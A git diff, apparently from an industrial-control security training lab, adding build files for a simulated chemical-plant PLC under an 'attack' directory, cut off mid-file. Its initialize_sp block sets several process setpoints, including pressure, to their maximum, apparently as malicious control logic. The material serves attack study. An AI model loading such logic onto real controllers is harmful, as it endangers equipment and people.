+342;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;REAL; +343;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;SCALE_TO_REAL; +344;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;BOOL; +345;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;BOOL; +346;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +347;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;REAL; +348;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;REAL; +349;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;REAL; +350;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;UINT; +351;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;UINT; +352;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;REAL; +353;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;REAL; +354;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;REAL; +355;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;REAL; +356;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;REAL; +357;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;REAL; +358;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;REAL; +359;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;REAL; +360;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;REAL; +361;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;UINT; +362;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;LEVEL_CONTROL; +363;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;BOOL; +364;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;BOOL; +365;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;UINT; +366;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;UINT; +367;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;UINT; +368;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;UINT; +369;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;TIME; +370;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;REAL; +371;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;REAL; +372;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +373;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +374;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +375;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +376;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +377;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +378;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +379;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +380;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +381;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +382;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +383;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;REAL; +384;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;REAL; +385;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;REAL; +386;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;REAL; +387;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;REAL; +388;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;REAL; +389;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;REAL; +390;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +391;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +392;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +393;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +394;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +395;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +396;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +397;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +398;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +399;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +400;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +401;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +402;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +403;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +404;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +405;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +406;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +407;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +408;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +409;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +410;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +411;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +412;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +413;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +414;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +415;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +416;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +417;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +418;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +419;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +420;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +421;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +422;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +423;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +424;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +425;EXT;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +426;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +427;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +428;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +429;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +430;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +431;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +432;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +433;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +434;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +435;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +436;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +437;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +438;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +439;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +440;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +441;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +442;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +443;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +444;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +445;VAR;CONFIG0.RES0.INSTANCE0.ADD87_OUT;CONFIG0.RES0.INSTANCE0.ADD87_OUT;UINT; +446;VAR;CONFIG0.RES0.INSTANCE0.GE91_OUT;CONFIG0.RES0.INSTANCE0.GE91_OUT;BOOL; +447;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;BOOL; +448;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so new file mode 100755 index 0000000..584c89c --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 +#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : 